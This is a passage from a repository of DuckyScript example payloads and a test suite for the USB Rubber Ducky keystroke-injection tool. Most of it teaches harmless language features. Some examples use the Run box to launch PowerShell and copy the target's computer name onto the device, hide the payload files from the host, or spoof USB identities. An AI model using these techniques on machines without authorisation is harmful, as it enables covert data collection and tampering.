    "content": "REM The LED_G command will enable the green LED.\r\rATTACKMODE HID STORAGE\rBUTTON_DEF\r  LED_OFF\r  STOP_PAYLOAD\rEND_BUTTON\rWHILE TRUE\r  LED_OFF\r  LED_G\r  DELAY 1000\r  LED_OFF\r  LED_R\r  DELAY 1000\rEND_WHILE\r\rREM The LED will alternate between solid red and solid green at one second intervals.\rREM Pressing the button will turn the LED off and stop the payload."
  },
  {
    "path": "payloads/examples/LED/LED-example3.txt",
    "content": "ATTACKMODE HID STORAGE\rWHILE TRUE\r  LED_R\r  WAIT_FOR_BUTTON_PRESS\r  LED_G\r  WAIT_FOR_BUTTON_PRESS\rEND_WHILE\r\r\rREM The LED will alternate between red and green on each button press."
  },
  {
    "path": "payloads/examples/Lock Keys/Lock-Keys-example1.txt",
    "content": "ATTACKMODE HID STORAGE\rLED_OFF\rDELAY 2000\rWHILE TRUE\r    LED_R\r    WAIT_FOR_CAPS_CHANGE\r    LED_G\r    WAIT_FOR_CAPS_CHANGE\rEND_WHILE\r\r\rREM Pressing the caps lock key on the target will cycle the USB Rubber Ducky LED between red and green.\r"
  },
  {
    "path": "payloads/examples/Lock Keys/Lock-Keys-example2.txt",
    "content": "REM Example SAVE and RESTORE of of the Keyboard Lock State\r\rATTACKMODE HID STORAGE\rDELAY 2000\r\rSAVE_HOST_KEYBOARD_LOCK_STATE\r\r$_RANDOM_MIN = 1\r$_RANDOM_MAX = 3\rVAR $TIMER = 120\r\rWHILE ($TIMER > 0)\r    VAR $A = $_RANDOM_INT\r    IF ($A == 1) THEN\r        CAPSLOCK\r    ELSE IF ($A == 2) THEN\r        NUMLOCK\r    ELSE IF ($A == 3) THEN\r        SCROLLLOCK\r    END_IF\r    DELAY 50\r    $TIMER = ($TIMER - 1)\rEND_WHILE\r\rRESTORE_HOST_KEYBOARD_LOCK_STATE\r\r\r\rREM At the beginning of the payload, the currently reported keyboard lock state are saved.\rREM For about 6 seconds, as a while loop iterates 120 times with a 50 ms delay, the caps, num or scroll lock keys will be randomly pressed.\rREM When the \"keyboard fireworks\" display has concluded, the previously saved keyboard lock state will be restored.\rREM Meaning, if the target has caps lock off, scroll lock off, and num lock on before the payload began, so too would it after its conclusion. \r"
  },
  {
    "path": "payloads/examples/Lock Keys/Lock-Keys-example3.txt",
    "content": "REM Example Blink green if LED states are reported, \rREM otherwise blink red.\r\rATTACKMODE HID STORAGE\rDELAY 2000\r\rFUNCTION BLINK_RED()\r\tWHILE TRUE\r\t\tLED_OFF\r\t\tDELAY 50\r\t\tLED_R\r\t\tDELAY 50\r\tEND_WHILE\rEND_FUNCTION\r\rFUNCTION BLINK_GREEN()\r\tWHILE TRUE\r\t\tLED_OFF\r\t\tDELAY 50\r\t\tLED_G\r\t\tDELAY 50\r\tEND_WHILE\rEND_FUNCTION\r\rIF ($_RECEIVED_HOST_LOCK_LED_REPLY == TRUE) THEN\r\tBLINK_GREEN()\rELSE IF ($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) THEN\r\tBLINK_RED()\rEND_IF\r\r\rREM The USB Rubber Ducky will blink green if the LED states are reported by the target. Otherwise, the LED will blink red."
  },
  {
    "path": "payloads/examples/Lock Keys/Lock-Keys-example4.txt",
    "content": "REM Example ONLY CAPS FOR YOU (Evil Prank)\r\rATTACKMODE HID STORAGE\rDELAY 2000\r\rWHILE TRUE\r    IF ($_CAPSLOCK_ON == FALSE) THEN\r        CAPSLOCK\r    END_IF\r    DELAY 100\rEND_WHILE\r\r\rREM If caps lock is turned off by the user, it will be turned on by the USB Rubber Ducky.\nREM @Hak5Darren loves this prank."
  },
  {
    "path": "payloads/examples/Loops/Loops-example1.txt",
    "content": "REM Example while loop - blink LED 42 times\r\rVAR $FOO = 42\rWHILE ( $FOO > 0 )\r    LED_G\r    DELAY 500\r    LED_OFF\r    DELAY 500\r    $FOO = ( $FOO - 1 )\rEND_WHILE\r\rLED_R\n\n\nREM The variable $FOO is set to 42.\rREM The WHILE loop begins, evaluating the condition \"is $FOO greater than 0\".\rREM Every time the condition is TRUE, the block of code between WHILE and END_WHILE will run.\rREM The LED will blink green: half a second on, half a second off.\rREM The variable $FOO will decrement by one.\rREM Once $FOO reaches zero, the WHILE condition will no longer evaluate to TRUE. The payload will continue execution after the END_WHILE statement, where the LED will light red.\rREM If the button is pressed at any time during the payload execution, the WHILE loop will end and the USB Rubber Ducky will enter ATTACKMODE STORAGE since that is the default behavior when no BUTTON_DEF has been initiated."
  },
  {
    "path": "payloads/examples/Loops/Loops-example2.txt",
    "content": "REM Example while loop - press the button 5 times\r\rVAR $FOO = 5\r\rWHILE ( $FOO > 0 )\r    STRINGLN Press the button...\r    WAIT_FOR_BUTTON_PRESS\r    $FOO = ( $FOO - 1 )\rEND_WHILE\r\rSTRINGLN You pressed the button 5 times!\r\r\rREM The variable $FOO is set to 5.\rREM The code block within the WHILE loop will be repeated until the expression evaluates to FALSE.\rREM For each run of the code block, the message \"Press the button...\" is typed. The payload then waits until it detects the button is pressed, at which point the variable $FOO is decremented."
  },
  {
    "path": "payloads/examples/Loops/Loops-example3.txt",
    "content": "REM Example Infinite Loop\rBUTTON_DEF\r    WHILE TRUE\r        LED_R\r        DELAY 500\r        LED_OFF\r        DELAY 500\r    END_WHILE\rEND_BUTTON\rWHILE TRUE\r    LED_G\r    DELAY 500\r    LED_OFF\r    DELAY 500\rEND_WHILE\r\r\rREM Because a button definition has been initiated with BUTTON_DEF, the default behavior will no longer apply when the button is pressed.\rREM The LED will blink green: half a second on, half a second off.\rREM Pressing the button will stop the currently infinite loop of blinking the LED green and execute the button definition, thus blinking the LED red."
  },
  {
    "path": "payloads/examples/Operators/Operators-example1.txt",
    "content": "REM Assign $FOO to 42\rVAR $FOO = 42\r\rREM The variable is now 42. \rREM Let’s add it by 1.\r$FOO = ( $FOO + 1 )\r\rREM The variable is now 43: the sum of 42 and 1. \rREM Let’s subtract it by 1.\r$FOO = ( $FOO - 1 )\r\rREM The variable is now 42 (again): \rREM the difference of 42 and 1. \rREM Let’s multiply it by 2.\r$FOO = ( $FOO * 2 )\r\rREM The variable is now 84: \rREM the product of 42 and 2.\rREM Let’s divide it by 2.\r$FOO = ( $FOO / 2 )\r\rREM The variable is now 42 (again): \rREM the quotient of 82 and 2.\rREM Let’s modulus it by 4.\r$FOO = ( $FOO % 4 )\r\rREM The variable is now 2: \rREM the signed remainder of 42 and 4.\rREM Let’s raise it to the power of 6.\r$FOO = ( $FOO ^ 6 )\r\rREM Our variable is now 64: \rREM the exponent of 2 and 6.\r"
  },
  {
    "path": "payloads/examples/Operators/Operators-example2.txt",
    "content": "REM The order of operations (order precedence) are a set of rules that define which procedures are performed first in order to evaluate an expression, similar to that of mathematics.\rREM In DuckyScript, parenthesis ( ) are required to define the precedence conventions. \r\r\rVAR $FOO = ( 4 * 10 ) + 2\r\rREM The expression ( 4 * 10 ) evalues to 40. \rREM The expression 40 + 2 evalues to 42.\r\r\rREM If multiple pairs of parentheses are required, the parentheses can be nested. \r\r\rVAR $FOO = 42\rVAR $BAR = (( 100 * 13 ) + ( $FOO - 5 ))\r\rREM The expression 42 - 5 evalues to 37\rREM The expression ( 100 * 13 ) evalues to 1300\rREM The expression 1300 + 37 evalues to 1337"
  },
  {
    "path": "payloads/examples/Operators/Operators-example3.txt",
    "content": "REM Bitwise operators are operators which operate on the uint16 values at the binary level.\r\rATTACKMODE HID STORAGE VID_05AC PID_021E\rVAR $FOO = $_CURRENT_VID\rREM Because VID/PID parameters are little endian, \r$FOO = ((($FOO >> 8) & 0x00FF) | (($FOO << 8) & 0xFF00))\rREM $FOO will now equal 0xAC05\r\rREM The value of $_CURRENT_VID is saved into the variable $FOO as AC05.\rREM Using bitwise operators its endianness is swapped to 05AC."
  },
  {
    "path": "payloads/examples/Payload Control/Payload-Control-example1.txt",
    "content": "REM Example RESTART_PAYLOAD\r\rATTACKMODE HID STORAGE\rDELAY 2000\r\rSTRINGLN Hello, World!\rRESTART_PAYLOAD\r\rSTRINGLN Nothing to see here.\r\r\rREM The payload loop typing the \"Hello, World!\" line infinitely.\rREM The \"Nothing to see here.\" string will never be typed.\r"
  },
  {
    "path": "payloads/examples/Payload Control/Payload-Control-example2.txt",
    "content": "REM Example STOP_PAYLOAD\r\rATTACKMODE HID STORAGE\rDELAY 2000\r\rBUTTON_DEF\r    STOP_PAYLOAD\rEND_BUTTON\r\rWHILE TRUE\r    RANDOM_CHARACTER\rEND_WHILE\r\r\rREM The payload will continuously type a random character.\rREM Pressing the button will stop the payload.\r"
  },
  {
    "path": "payloads/examples/Payload Control/Payload-Control-example3.txt",
    "content": "REM Example RESET\r\rATTACKMODE HID STORAGE\rDELAY 2000\r\rINJECT_MOD\rHOLD SHIFT\rHOLD a\rDELAY 700\rRELEASE a\rRESET\r\rDELAY 1000\rSTRING nd reset\r\r\rREM On a Windows or Linux target, the payload may result in AAAAAAAAAAAAnd reset\rREM Notice that a RELEASE SHIFT command was omitted, and yet the nd reset string is lowercase. This is because the RESET command released all keys."
  },
  {
    "path": "payloads/examples/Payload Hiding/Payload-Hiding-example1.txt",
    "content": "ATTACKMODE OFF\r\rBUTTON_DEF\r    ATTACKMODE OFF\r    RESTORE_PAYLOAD\r    ATTACKMODE STORAGE\rEND_BUTTON\r\rHIDE_PAYLOAD\rATTACKMODE HID STORAGE\rDELAY 2000\rSTRING Nothing to see here...\r\r\rREM Upon first enumeration, the attached computer will not be able to see the inject.bin or seed.bin files on the USB Rubber Ducky storage.\rREM Pressing the button will re-enumerate the USB Rubber Ducky storage with both files visible once more.\r"
  },
  {
    "path": "payloads/examples/Randomization/Randomization-example1.txt",
    "content": "REM Example Random Keys\rATTACKMODE HID STORAGE\rDELAY 2000\r\rBUTTON_DEF\r    RANDOM_CHARACTER\rEND_BUTTON\r\rSTRINGLN Here are 10 random lowercase letters:\rVAR $TIMES = 10\rWHILE ($TIMES > 0)\r    RANDOM_LOWERCASE_LETTER\r    $TIMES = ($TIMES - 1)\rEND_WHILE\rENTER\rENTER\rSTRINGLN Here are 20 random numbers:\rVAR $TIMES = 20\rWHILE ($TIMES > 0)\r    RANDOM_NUMBER\r    $TIMES = ($TIMES - 1)\rEND_WHILE\rENTER\rENTER\rSTRINGLN Here are 3 random special characters:\rRANDOM_SPECIAL\rRANDOM_SPECIAL\rRANDOM_SPECIAL\rSTRINGLN Press the button for a random character:\n\n\n\nREM This payload will type:\rREM 10 random lowercase letters, per the while loop.\rREM 20 random numbers, per the while loop.\rREM 3 random special characters.\nREM The payload will then instruct the user to press the button.\rREM On each press of the button, the BUTTON_DEF will execute. \rREM This special functions contains the RANDOM_CHARACTER command, and thus a random character will be typed."
  },
  {
    "path": "payloads/examples/Randomization/Randomization-example2.txt",
    "content": "REM Example Random Integer\nATTACKMODE HID STORAGE\n\nLED_OFF\nVAR $A = $_RANDOM_INT\nWHILE ($A > 0)\n    LED_G\n    DELAY 500\n    LED_OFF\n    DELAY 500\n    $A = ($A - 1)\nEND_WHILE\n\n\nREM Each time this payload is executed, the LED will randomly blink between 1 and 9 times.\n"
  },
  {
    "path": "payloads/examples/Randomization/Randomization-example3.txt",
    "content": "REM Example Random Integer Example with Range\n\nATTACKMODE HID STORAGE\nLED_OFF\n\n$_RANDOM_MIN = 20\n$_RANDOM_MAX = 50\n\nVAR $A = $_RANDOM_INT\nWHILE ($A > 0)\n    LED_G\n    DELAY 500\n    LED_OFF\n    DELAY 500\n    $A = ($A - 1)\nEND_WHILE\n\nREM Each time this payload is executed, the LED will blink a random number of times between 20 and 50.\n"
  },
  {
    "path": "payloads/examples/Randomization/Randomization-example4.txt",
    "content": "REM !!!! Use caution with random VID and PID values as unexpected results are likely !!!!\n\nATTACKMODE OFF\rWHILE TRUE\r  ATTACKMODE HID VID_RANDOM PID_RANDOM MAN_RANDOM PROD_RANDOM SERIAL_RANDOM\r  LED_R\r  DELAY 2000\r  STRINGLN Hello, World!\r  WAIT_FOR_BUTTON_PRESS\r  LED_G\rEND_WHILE\n\nREM On each press of the button, the USB Rubber Ducky will re-enumerate as a new USB HID device with a random VID, PID, MAN, PROD and SERIAL.\rREM The string Hello, World! may be typed.\rREM Because VID and PID values may dictate device driver initialization, the USB Rubber Ducky may not be correctly enumerated as a Human Interface Device by the target OS.\n"
  },
  {
    "path": "payloads/examples/Storage Activity/Storage-Activity-example1.txt",
    "content": "REM !!!! Results may vary greatly depending on target OS. Some operating systems may keep storage active for an exceptionally long time. You may need to experiment with this feature to achieve the desired results for your given target. !!!!\n\r\rREM Example WAIT_FOR_STORAGE_ACTIVITY Payload\r\rATTACKMODE HID STORAGE\rDELAY 2000\rLED_OFF\rSTRINGLN Waiting for the disk to be read from or written to...\r$_STORAGE_ACTIVITY_TIMEOUT = 10000\rWAIT_FOR_STORAGE_ACTIVITY\rLED_OFF\rLED_R\r\r\rREM The WAIT_FOR_STORAGE_ACTIVITY command blocks all further payload execution until activity on the USB Rubber Ducky storage has been detected.\rREM The LED will light red after storage activity has been detected."
  },
  {
    "path": "payloads/examples/Storage Activity/Storage-Activity-example2.txt",
    "content": "REM !!!! Results may vary greatly depending on target OS. Some operating systems may keep storage active for an exceptionally long time. You may need to experiment with this feature to achieve the desired results for your given target. !!!!\n\r\rREM Example WAIT_FOR_STORAGE_INACTIVITY Payload\r\rATTACKMODE HID STORAGE\rDELAY 2000\rLED_OFF\r\rGUI r\rDELAY 100\rSTRINGLN powershell \"$m=(Get-Volume -FileSystemLabel 'DUCKY').DriveLetter;echo $env:computername >> $m:\\computer_names.txt\" \r\r$_STORAGE_ACTIVITY_TIMEOUT = 10000\rWAIT_FOR_STORAGE_INACTIVITY\rLED_OFF\rLED_R\r\rREM The LED will light red when the storage device becomes inactive."
  },
  {
    "path": "payloads/examples/Tests/test-suite.txt",
    "content": "VAR $PASS = 0\nVAR $FAILED = 0\n\nVAR $TOGGLE = 0\nVAR $CD = 3\n\nFUNCTION PASSED()\n\tSTRINGLN P\n\t$PASS = ($PASS + 1)\nEND_FUNCTION\n\nFUNCTION FAIL()\n\tSTRINGLN F\n\tLED_R\n\t$FAILED = ($FAILED + 1)\nEND_FUNCTION\n\nEXTENSION TRANSLATE()\n\tREM DEFINE STRICT_TRUTH FALSE\n\tDEFINE PRINT_INT 0\n\tDEFINE PRINT_HEX 1\n\tVAR $DIGIT_PRINT_MODE = PRINT_INT\n\tVAR $D = 0\n\tVAR $IN = 0\n\tVAR $INPUT = 0\n\tVAR $MOD = 0\n\tVAR $P = FALSE\n\tVAR $NL = TRUE\n\tFUNCTION PRINTDIGIT()\n\t\tIF ($D == 0) THEN\n\t\t\tSTRING 0\n\t\tELSE IF ($D == 1) THEN\n\t\t\tSTRING 1\n\t\tELSE IF ($D == 2) THEN\n\t\t\tSTRING 2\n\t\tELSE IF ($D == 3) THEN\n\t\t\tSTRING 3\n\t\tELSE IF ($D == 4) THEN\n\t\t\tSTRING 4\n\t\tELSE IF ($D == 5) THEN\n\t\t\tSTRING 5\n\t\tELSE IF ($D == 6) THEN\n\t\t\tSTRING 6\n\t\tELSE IF ($D == 7) THEN\n\t\t\tSTRING 7\n\t\tELSE IF ($D == 8) THEN\n\t\t\tSTRING 8\n\t\tELSE IF ($D == 9) THEN\n\t\t\tSTRING 9\n\t\tELSE IF ($DIGIT_PRINT_MODE == PRINT_HEX) THEN \n\t\t\tIF ($D == 10) THEN\n\t\t\t\tSTRING A\n\t\t\tELSE IF ($D == 11) THEN\n\t\t\t\tSTRING B\n\t\t\tELSE IF ($D == 12) THEN\n\t\t\t\tSTRING C\n\t\t\tELSE IF ($D == 13) THEN\n\t\t\t\tSTRING D\n\t\t\tELSE IF ($D == 14) THEN\n\t\t\t\tSTRING E\n\t\t\tELSE IF ($D == 15) THEN\n\t\t\t\tSTRING F\n\t\t\tEND_IF\n\t\tELSE \n\t\t\tSTRING ?\n\t\tEND_IF\n\tEND_FUNCTION\n\tFUNCTION CONSUME()\n\t\t$D = 0\n\t\tWHILE ($INPUT >= $MOD)\n\t\t\t$D = ($D + 1)\n\t\t\t$INPUT = ($INPUT - $MOD)\n\t\tEND_WHILE\n\t\tIF (($D > 0) || ($P == TRUE)) THEN\n\t\t\t$P = TRUE\n\t\t\tPRINTDIGIT()\n\t\tEND_IF\n\tEND_FUNCTION\n\tFUNCTION SWAP_ENDIAN()\n\t\t$INPUT = ((($INPUT >> 8) & 0x00FF) | (($INPUT << 8) & 0xFF00))\n\tEND_FUNCTION\n\tFUNCTION TRANSLATE_INT() \n\t\t$DIGIT_PRINT_MODE = PRINT_INT\n\t\t$P = FALSE\n\t\tIF ( $INPUT >= 10000) THEN\n\t\t\t$MOD = 10000\n\t\t\tCONSUME()\n\t\tEND_IF\n\t\tIF (($INPUT >= 1000) || ($P == TRUE)) THEN\n\t\t\t$MOD = 1000\n\t\t\tCONSUME()\n\t\tEND_IF\n\t\tIF (($INPUT >= 100) || ($P == TRUE)) THEN\n\t\t\t$MOD = 100\n\t\t\tCONSUME()\n\t\tEND_IF\n\t\tIF (($INPUT >= 10) || ($P == TRUE)) THEN\n\t\t\t$MOD = 10\n\t\t\tCONSUME()\n\t\tEND_IF()\n\t\t$D = $INPUT\n\t\tPRINTDIGIT()\n\t\tIF $NL THEN\n\t\t\tENTER\n\t\tEND_IF\n\tEND_FUNCTION\n\tFUNCTION TRANSLATE_BOOL()\n\t\tREM IF STRICT_TRUTH THEN\n\t\tREM\tIF ($INPUT == TRUE) THEN\n\t\tREM\t\tSTRING TRUE\n\t\tREM\tELSE IF ($INPUT == FALSE) THEN\n\t\tREM\t\tSTRING FALSE\n\t\tREM\tELSE \n\t\tREM\t\tSTRING ?\n\t\tREM\tEND_IF\n\t\tREM ELSE\n\t\t\tIF $INPUT THEN\n\t\t\t\tSTRING TRUE\n\t\t\tELSE\n\t\t\t\tSTRING FALSE\n\t\t\tEND_IF\n\t\tREM END_IF\n\t\tIF $NL THEN\n\t\t\tENTER\n\t\tEND_IF\n\tEND_FUNCTION\n\tFUNCTION TRANSLATE_HEX()\n\t\t$DIGIT_PRINT_MODE = PRINT_HEX\n\t\tVAR $chars = 0\n\t\tVAR $d1 = 0\n\t\tVAR $d2 = 0\n\t\tVAR $d3 = 0\n\t\tVAR $d4 = 0\n\t\tWHILE ($INPUT > 0)\n\t\t\tIF ($chars == 0) THEN\n\t\t\t\t$d1 = ($INPUT % 16)\n\t\t\tELSE IF ($chars == 1) THEN\n\t\t\t\t$d2 = ($INPUT % 16)\n\t\t\tELSE IF ($chars == 2) THEN\n\t\t\t\t$d3 = ($INPUT % 16)\n\t\t\tELSE IF ($chars == 3) THEN\n\t\t\t\t$d4 = ($INPUT % 16)\n\t\t\tEND_IF\n\t\t\t$chars = ($chars + 1)\n\t\t\t$INPUT = ($INPUT / 16)\n\t\tEND_WHILE\n\t\tVAR $i = 0\n\t\tSTRING 0x\n\t\tIF ($chars == 0) THEN\n\t\t\tSTRING 0x0000\n\t\tELSE IF ($chars == 1) THEN\n\t\t\tSTRING 000\n\t\t\t$D = $d1\n\t\t\tPRINTDIGIT()\n\t\tELSE IF ($chars == 2) THEN\n\t\t\tSTRING 00\n\t\t\t$D = $d2\n\t\t\tPRINTDIGIT()\n\t\t\t$D = $d1\n\t\t\tPRINTDIGIT()\n\t\tELSE IF ($chars == 3) THEN\n\t\t\tSTRING 0\n\t\t\t$D = $d3\n\t\t\tPRINTDIGIT()\n\t\t\t$D = $d2\n\t\t\tPRINTDIGIT()\n\t\t\t$D = $d1\n\t\t\tPRINTDIGIT()\n\t\tELSE IF ($chars == 4) THEN\n\t\t\tSTRING 0\n\t\t\t$D = $d4\n\t\t\tPRINTDIGIT()\n\t\t\t$D = $d3\n\t\t\tPRINTDIGIT()\n\t\t\t$D = $d2\n\t\t\tPRINTDIGIT()\n\t\t\t$D = $d1\n\t\t\tPRINTDIGIT()\n\t\tEND_IF\n\t\tIF $NL THEN\n\t\t\tENTER\n\t\tEND_IF\n\tEND_FUNCTION\nEND_EXTENSION\n\nFUNCTION countdown()\n\tWHILE ( $CD > 0 )\n\t\tSTRING .\n\t\t$CD = ($CD - 1)\n\t\tDELAY 1000\n\tEND_WHILE\nEND_FUNCTION\n\nDELAY 1000\nENTER\nSTRINGLN ~TEST SUITE~\nSTRINGLN press button NOW to stop & enter storage\nDELAY 1000\n\nENTER\nSTRINGLN _LED_\n\nSTRING OFF :\nLED_OFF\nDELAY 500\nPASSED()\n\nSTRING R :\nLED_R\nDELAY 500\nPASSED()\n\nSTRING G :\nLED_G\nDELAY 500\nPASSED()\n\n\nFUNCTION injection_test()\nENTER\nSTRINGLN abcdefghijklmnopqrstuvxyz0123456789\nSTRINGLN ABCDEFGHIJKLMNOPQRSTUVXYZ0123456789\nSTRINGLN aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVxXyYzZ0123456789\nSTRINGLN  _________ \nSTRINGLN /__TEST__/\\\nSTRINGLN \\__.::.__\\/\nSTRINGLN    \\::\\ \\  \nSTRINGLN     \\::\\ \\ \nSTRINGLN      \\::\\ \\ \nSTRINGLN       \\__\\/\nEND_FUNCTION\n\n\nENTER\nSTRINGLN _Injection_\ninjection_test()\nSTRING Basic injection :\nPASSED()\n\nSTRING (DEFAULT)HID->OFF->HID STORAGE :\nDELAY 500\nATTACKMODE OFF\nLED_OFF\nDELAY 500\nLED_R\nDELAY 500\nLED_OFF\nATTACKMODE HID STORAGE VID_05AC PID_021E MAN_TEST PROD_TEST SERIAL_133713371337\nDELAY 500\nPASSED()\n\nENTER\nSTRINGLN _UNIT TESTS_\nREM ------------------------------------------------------------------------------------------------------------------------------\n\nSTRING TRUE :\nIF TRUE THEN \n\tPASSED()\nELSE\n\tFAIL()\nEND_IF\n\nSTRING FALSE :\nIF FALSE THEN \n\tFAIL()\nELSE\n\tPASSED()\nEND_IF\nSTRING (TRUE) :\nIF ( TRUE ) THEN \n\tPASSED()\nELSE\n\tFAIL()\nEND_IF\n\nSTRING (FALSE) :\nIF ( FALSE ) THEN \n\tFAIL()\nELSE\n\tPASSED()\nEND_IF\n\nSTRING TRUE==TRUE :\nIF ( TRUE == TRUE ) THEN\n\tPASSED()\nELSE \n\tFAIL()\nEND_IF\n\nSTRING FALSE==FALSE :\nIF ( FALSE == FALSE ) THEN\n\tPASSED()\nELSE \n\tFAIL()\nEND_IF\n\nSTRING TRUE==FALSE :\nIF ( TRUE == FALSE ) THEN\n\tFAIL()\nELSE \n\tPASSED()\nEND_IF\n\nSTRING TRUE!=FALSE :\nIF ( TRUE != FALSE ) THEN\n\tPASSED()\nELSE \n\tFAIL()\nEND_IF\n\nSTRING 1==1 :\nIF ( 1 == 1 ) THEN\n\tPASSED()\nELSE\n\tFAIL()\nEND_IF\n\nSTRING 0==0 :\nIF ( 0 == 0 ) THEN\n\tPASSED()\nELSE\n\tFAIL()\nEND_IF\n\nSTRING ((1+1)==2) :\nIF ((1+1) == 2) THEN\n\tPASSED()\nELSE\n\tFAIL()\nEND_IF\n\nSTRING ((2-1)==(0+1)) :\nIF ((2-1) == (0+1)) THEN\n\tPASSED()\nELSE\n\tFAIL()\nEND_IF\n\nSTRING ((2*2)==4) :\nIF ((2*2) == 4) THEN\n\tPASSED()\nELSE\n\tFAIL()\nEND_IF\n\nSTRING ((4/2)==2) :\nIF ((4/2) == 2) THEN\n\tPASSED()\nELSE\n\tFAIL()\nEND_IF\n\nSTRING ((4/2)==2) :\nIF ((4/2) == 2) THEN\n\tPASSED()\nELSE\n\tFAIL()\nEND_IF\n\nSTRING (10>0) :\nIF (10 > 0) THEN\n\tPASSED()\nELSE\n\tFAIL()\nEND_IF\n\nSTRING (10<100) :\nIF (10 < 100) THEN\n\tPASSED()\nELSE\n\tFAIL()\nEND_IF\n\nSTRING (10<=11) :\nIF (10 <= 11) THEN\n\tPASSED()\nELSE\n\tFAIL()\nEND_IF\n\nSTRING (10<=10) :\nIF (10 <= 10) THEN\n\tPASSED()\nELSE\n\tFAIL()\nEND_IF\n\nSTRING (11>=10) :\nIF (11 >= 10) THEN\n\tPASSED()\nELSE\n\tFAIL()\nEND_IF\n\nSTRING (10>=10) :\nIF (10 >= 10) THEN\n\tPASSED()\nELSE\n\tFAIL()\nEND_IF\n\nSTRING (TRUE&&TRUE) :\nIF (TRUE && TRUE) THEN\n\tPASSED()\nELSE\n\tFAIL()\nEND_IF\n\nSTRING (FALSE&&TRUE) :\nIF (FALSE && TRUE) THEN\n\tFAIL()\nELSE\n\tPASSED()\nEND_IF\n\nSTRING (TRUE||TRUE) :\nIF (TRUE || TRUE) THEN\n\tPASSED()\nELSE\n\tFAIL()\nEND_IF\n\nSTRING (FALSE||TRUE) :\nIF (FALSE || TRUE) THEN\n\tPASSED()\nELSE\n\tFAIL()\nEND_IF\n\nSTRING ((10%2)==0) :\nIF ((10 % 2) == 0) THEN\n\tPASSED()\nELSE\n\tFAIL()\nEND_IF\n\nSTRING ((11%2)==1) :\nIF ((11 % 2) == 1) THEN\n\tPASSED()\nELSE\n\tFAIL()\nEND_IF\n\nSTRING $zero=0;($zero ==0) :\nVAR $zero = 0\nIF ( $zero == 0 ) THEN\n\tPASSED()\nELSE\n\tFAIL()\nEND_IF\n\nSTRING ($zero==1) :\nIF ( $zero == 1 ) THEN\n\tFAIL()\nELSE\n\tPASSED()\nEND_IF\n\nSTRING $one=1;($one==1) :\nVAR $one = 1\nIF ( $one == 1 ) THEN\n\tPASSED()\nELSE\n\tFAIL()\nEND_IF\n\nSTRING ($one!=1) :\nIF ( $one != 1 ) THEN\n\tFAIL()\nELSE\n\tPASSED()\nEND_IF\n\nSTRING ($one+1);($two==2) :\nVAR $two = ( $one + 1 )\nIF ( $two == 2 ) THEN\n\tPASSED()\nELSE\n\tFAIL()\nEND_IF\n\nSTRING ($two!=2) :\nIF ( $two != 2 ) THEN\n\tFAIL()\nELSE\n\tPASSED()\nEND_IF\n\nSTRING ($two==$two) :\nIF ( $two == $two ) THEN\n\tPASSED()\nELSE\n\tFAIL()\nEND_IF\n\nSTRING ($two!=$two) :\nIF ( $two != $two ) THEN\n\tFAIL()\nELSE\n\tPASSED()\nEND_IF\n\nSTRING (($two==$one)||($two==$zero)) :\nIF ( ($two == $one) || ($two == $zero) ) THEN\n\tFAIL()\nELSE\n\tPASSED()\nEND_IF\n\nSTRING ((($one+1)==$two)&&((($zero+$two)+1)==3)) :\nIF ( (($one + 1) == $two) && ((($zero + $two) + 1) == 3) ) THEN\n\tPASSED()\nELSE\n\tFAIL()\nEND_IF\n\nENTER\nSTRINGLN _FUNCTIONS_ \nREM ------------------------------------------------------------------------------------------------------------------------------\n\nFUNCTION f_one()\n\tRETURN 1\nEND_FUNCTION\n\nFUNCTION f_v_one()\n\tRETURN $one\nEND_FUNCTION\n\nFUNCTION f_zero()\n\tRETURN 0\nEND_FUNCTION\n\nFUNCTION early_ret()\n\tIF ( 0 == 0 ) THEN\n\t\tRETURN TRUE\n\tELSE\n\t\tRETURN FALSE\n\tEND_IF\nEND_FUNCTION\n\nSTRING (early_ret()==TRUE) :\nIF (early_ret() == TRUE) THEN\n\tPASSED()\nELSE\n\tFAIL()\nEND_IF\n\nSTRING (f_one()==1) :\nIF (f_one() == 1) THEN\n\tPASSED()\nELSE\n\tFAIL()\nEND_IF\n\nSTRING (f_zero()==0) :\nIF (f_zero() == 0) THEN\n\tPASSED()\nELSE\n\tFAIL()\nEND_IF\n\nSTRING $retVal=f_one();($retVal==1) :\nVAR $retVal = f_one()\nIF ($retVal == 1) THEN\n\tPASSED()\nELSE\n\tFAIL()\nEND_IF\n\nSTRING $retVal=f_v_one();($retVal==1) :\n$retVal = f_v_one()\nIF ($retVal == 1) THEN\n\tPASSED()\nELSE\n\tFAIL()\nEND_IF\n\nENTER\nSTRING _BUTTON_\nREM ------------------------------------------------------------------------------------------------------------------------------\n\nFUNCTION print_button_states()\n\tENTER\n\tSTRING Button push received :\n\t$INPUT = $_BUTTON_PUSH_RECEIVED\n\tTRANSLATE_BOOL()\n\tSTRING Button Enabled :\n\t$INPUT = $_BUTTON_ENABLED\n\tTRANSLATE_BOOL()\n\tSTRING Button user defined :\n\t$INPUT = $_BUTTON_USER_DEFINED\n\tTRANSLATE_BOOL()\n\tSTRING Button timeout :\n\t$INPUT = $_BUTTON_TIMEOUT\n\tTRANSLATE_INT()\nEND_FUNCTION\n\nFUNCTION request_button_press()\n\tSTRING PRESS DUCK BUTTON :\n\tWAIT_FOR_BUTTON_PRESS\n\tPASSED()\nEND_FUNCTION\n\nprint_button_states()\n\nrequest_button_press()\nrequest_button_press()\n\nREM print_button_states()\nSTRINGLN $_BUTTON_ENABLED = FALSE;\n$_BUTTON_ENABLED = FALSE\nREM print_button_states()\nSTRING ($_BUTTON_ENABLED==TRUE) :\nIF ($_BUTTON_ENABLED == TRUE) THEN\n\tFAIL()\nELSE\n\tPASSED()\nEND_IF\nSTRING PRESS DUCK BUTTON (expect no result) within 3s\n$CD = 3\ncountdown()\nPASSED()\nREM print_button_states()\nSTRINGLN $_BUTTON_ENABLED = TRUE;\n$_BUTTON_ENABLED = TRUE\nREM print_button_states()\nSTRING ($_BUTTON_ENABLED==FALSE) :\nIF ($_BUTTON_ENABLED == FALSE) THEN\n\tFAIL()\nELSE\n\tPASSED()\nEND_IF\n\nrequest_button_press()\n\nBUTTON_DEF\n\tPASSED()\n\tSTRINGLN PRESSED ONCE\n\tBUTTON_DEF\n\t\tPASSED()\n\t\tSTRINGLN PRESSED TWICE\n\tEND_BUTTON\nEND_BUTTON\n\nDELAY 1000\nSTRING MASH BUTTON within 5s\n$CD = 5\ncountdown()\nENTER\n\nSTRINGLN Manual button check\n$_BUTTON_ENABLED = FALSE\n$_BUTTON_PUSH_RECEIVED = FALSE\nREM 